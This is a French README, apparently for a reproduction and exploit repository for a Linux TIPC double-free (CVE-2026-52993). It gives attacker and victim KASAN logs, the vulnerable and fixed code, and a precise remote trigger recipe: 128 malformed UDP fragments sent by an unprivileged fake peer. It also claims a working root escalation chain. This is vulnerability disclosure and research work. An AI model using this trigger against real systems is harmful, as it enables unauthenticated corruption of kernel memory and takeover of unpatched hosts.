Reproduction et exploit pour un double-free Linux TIPC (CVE-2026-52993) : déclencheurs KASAN distants et locaux, plus une chaîne fonctionnelle d'élévation de privilèges d'uid-1000 à root.
Double-free / slab-use-after-free dans le chemin de réassemblage des fragments TIPC du noyau Linux, tipc_buf_append() dans net/tipc/msg.c.
| --- | --- |
| Composant | net/tipc/msg.c — tipc_buf_append() / tipc_msg_validate() |
| Classe | CWE-415 double free (se manifeste comme slab-use-after-free) |
| Type | Double free (CWE-415), se manifeste comme slab-use-after-free |
| CVSS (Linux CNA) | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (distant) ; également atteignable localement |
| Introduit | d618d09a68e4 (v4.15) |
| Corrigé | d293ca716e7d mainline |
| Corrigé dans (stable) | 5.10.258, 5.15.209, 6.1.175, 6.6.141, 6.12.91, 6.18.33, 7.0.10, 7.1 |
| Vulnérable dans cette repro | linux 6.6.140 (dernière 6.6.y sans le correctif) |
| Témoin corrigé | linux 6.6.141 |
Le bug est atteignable de deux manières et les deux sont démontrées contre le noyau vulnérable, avec le noyau corrigé comme témoin d'attaque identique :
| Topologie | 6.6.140 (vulnérable) | 6.6.141 (corrigé) |
|---|---|---|
Distant : guest attaquant → guest victime via un fil virtuel ; l'attaquant n'exécute aucun TIPC, aucun identifiant, fakepeer en uid 1000 CapEff=0, UDP simple | BUG: KASAN: slab-use-after-free in kfree_skb_reason ← tipc_buf_append, déclenché dans la softirq de réception de la victime (by task swapper/1/0, <IRQ>) | propre — même handshake (DSC_RESP + RESET) et 12×128 fragments délivrés, aucun rapport |
Local : deux netns reliés par veth, injection AF_PACKET (trigger.sh) | même rapport KASAN | propre |
La ligne distante constitue la preuve d'exploitabilité : deux guests QEMU qui ne
partagent rien d'autre qu'un fil Ethernet virtuel. Le guest attaquant dispose d'un noyau
entièrement corrigé (6.6.141 — la machine attaquante est sans rapport avec le bug), ne
configure aucun TIPC (aucune adresse de nœud, aucun bearer), ne détient aucun compte ni
capacité, et ne parle aucune pile TIPC : chaque octet d'attaque est produit par un socket
UDP en espace utilisateur (harness/fakepeer.c) exécuté sous /dropuid 1000 1000.
Journaux de preuve :
logs/remote-6.6.140-vuln-victim.log / logs/remote-6.6.140-vuln-attacker.log — le déclencheur distant, noyau vulnérablelogs/remote-6.6.141-fixed-victim.log / logs/remote-6.6.141-fixed-attacker.log — attaque identique, noyau corrigé, aucun rapportlogs/local-6.6.140-vuln.log / logs/local-6.6.141-fixed.log — repro locale sur VM unique + témoinlogs/remote-unauth-6.6.140.log, logs/remote-unauth-6.6.141-fixed.log — variante netns sur VM unique de l'attaque non authentifiéelogs/SUCCESS-instrumented-6.6.140.log — pr_info de débogage TIPC temporaires montrant les ratios de réassemblagelogs/remote-diag-6.6.140-victim.log — compteurs de livraison de paquets utilisés pour traquer la bizarrerie e1000 (ci-dessous)Côté attaquant de l'exécution distante (logs/remote-6.6.140-vuln-attacker.log) :
=== attacker: the attack runs uid 1000, CapEff=0 ===
Uid: 1000 1000 1000 1000
CapEff: 0000000000000000
fakepeer: NO tipc, NO caps. uid=1000 victim=10.10.0.2:6118 me=10.10.0.1:6118 claiming tipc addr 0x01001001
fakepeer: <- frame len=56 user=7(LINK_PROTOCOL) type=1 prevnode=0x01001002 (link up)
fakepeer: sent 128 fragments (activate + frags over plain UDP)
Côté victime (logs/remote-6.6.140-vuln-victim.log) — la corruption est
attribuée au réseau (softirq de réception), et non à une tâche locale :
BUG: KASAN: slab-use-after-free in kfree_skb_reason+0x2f/0x2d0
Read of size 4 at addr ffff888009ee9d14 by task swapper/1/0
...
Call Trace:
<IRQ>
kfree_skb_reason
tipc_buf_append
tipc_link_input
tipc_link_rcv
tipc_rcv
...
The buggy address belongs to the object at ffff888009ee9c40
which belongs to the cache skbuff_head_cache of size 224
The buggy address is located 212 bytes inside of
freed 224-byte region [ffff888009ee9c40, ffff888009ee9d20)
La lecture à +212 correspond à sk_buff->users : le second kfree_skb() sur
la tête réassemblée déjà libérée — exactement le double free que le correctif ferme.
Les exécutions locales produisent le même rapport avec le chemin inject/trigger.sh
(piles KASAN dans logs/local-6.6.140-vuln.log).
L'exécution d'instrumentation prouve que le déclencheur franchit la barrière de réallocation sur ce chemin :
TIPCDBG buf_append LAST head=... len=3328 truesize=111360 roundup=4096 ratio=27
ratio=27 dépasse largement le seuil >= 4, donc tipc_msg_validate() effectue
la réallocation/libération et le chemin vulnérable err: touche ensuite le skb
libéré.
tipc_msg_validate(&head) peut réallouer le skb qui lui est passé et libérer l'ancien.
À l'intérieur de tipc_buf_append(), l'argument était la copie locale head, et non
le *headbuf de l'appelant. Si la réallocation se produit et que la validation échoue ensuite,
le chemin err: libère *headbuf — qui pointe toujours vers l'ancien skb déjà libéré.
Un objet, libéré deux fois (les fragments ajoutés sont rattachés au frag_list de la tête
et sont libérés par son intermédiaire) :
if (fragid == LAST_FRAGMENT) {
TIPC_SKB_CB(head)->validated = 0;
if (unlikely(!tipc_msg_validate(&head))) /* &head: local copy! */
goto err;
...
}
err:
kfree_skb(*buf); /* NULL at this point */
kfree_skb(*headbuf); /* already freed by the validate() reallocation */
La correction propage le nouveau pointeur en retour :
if (unlikely(!tipc_msg_validate(&head))) {
if (head != *headbuf)
*headbuf = head;
goto err;
}
La réallocation est conditionnée par skb->truesize / buf_roundup_len(skb->len) >= 4, et l'échec qui s'ensuit est n'importe quel échec de validation ordinaire. Le déclencheur :
seqno == rcv_nxt), etLe skb de la victime est de style tipc_buf_acquire() : une petite tête linéaire avec un grand
truesize (surcoût SKB_TRUESIZE) pour un len minuscule. L'ajout des minuscules fragments reçus
en tant que page frags fait croître truesize tandis que buf_roundup_len() reste
fixé à son plancher de 1024, si bien que le ratio augmente linéairement avec le nombre de fragments.
fakepeer.c/inject.c envoient 128 fragments de 50 octets sur le fil (charge utile de 26 octets)
avec l'en-tête interne du premier fragment portant version = 1
au lieu de TIPC_VERSION = 2, de sorte que la validation échoue juste après la réallocation.
+-----------------+ QEMU socket netdev +------------------+
| attacker guest | ======== virtual Ethernet =======> | victim guest |
| 10.10.0.1 | (127.0.0.1:<port>) | 10.10.0.2 |
| | | |
| kernel 6.6.141 | | kernel 6.6.140 |
| (fixed) | | (vulnerable) |
| NO TIPC config | -- LINK_CONFIG DSC_REQ --------> | tipc node 1.1.2 |
| fakepeer | -- LINK_PROTOCOL ACTIVATE -----> | udp bearer u0 |
| uid 1000 | -- MSG_FRAGMENTER × 128 -------> | :6118 |
| CapEff=0 | <- DSC_RESP / RESET ----------- | |
+-----------------+ +------------------+
harness/run-remote.sh démarre les deux invités sur une paire de netdev QEMU socket (un câble Ethernet virtuel entre deux processus QEMU ; aucun privilège requis sur l'hôte) et exécute harness/fakepeer.c du côté attaquant. fakepeer implémente juste assez du protocole réseau TIPC sur UDP simple :